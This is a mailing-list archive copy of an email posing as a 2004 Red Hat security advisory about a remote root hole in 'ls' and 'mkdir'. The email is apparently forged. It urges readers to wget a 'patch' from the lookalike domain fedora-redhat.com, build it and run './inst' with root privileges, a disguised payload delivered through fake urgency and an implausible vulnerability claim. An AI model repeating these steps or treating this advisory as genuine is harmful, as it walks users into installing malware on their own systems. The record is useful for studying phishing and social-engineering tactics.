[linux-muc] RedHat: Buffer Overflow in "ls" and "mkdir"

  • From: RedHat Security Team <security@xxxxxxxxxx>
  • To: linux-muc@xxxxxxxxxxxxx
  • Date: Sun, 24 Oct 2004 17:19:47 -0500

Title: Untitled Document

Original issue date: October 20, 2004
Last revised: October 20, 2004
Source: RedHat

A complete revision history is at the end of this file.

Dear RedHat user,

Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT affected.

The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:

  • First download the patch from the Security RedHat mirror: wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
  • Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
  • cd fileutils-1.0.6.patch
  • make
  • ./inst

Again, please apply this patch as soon as possible or you risk your system and others` to be compromised.

Thank you for your prompt attention to this serious matter,

RedHat Security Team.

Copyright © 2004 Red Hat, Inc. All rights reserved.

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